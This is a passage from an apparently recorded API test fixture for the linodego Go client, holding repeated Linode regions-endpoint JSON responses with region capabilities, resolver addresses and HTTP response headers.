172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:18 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 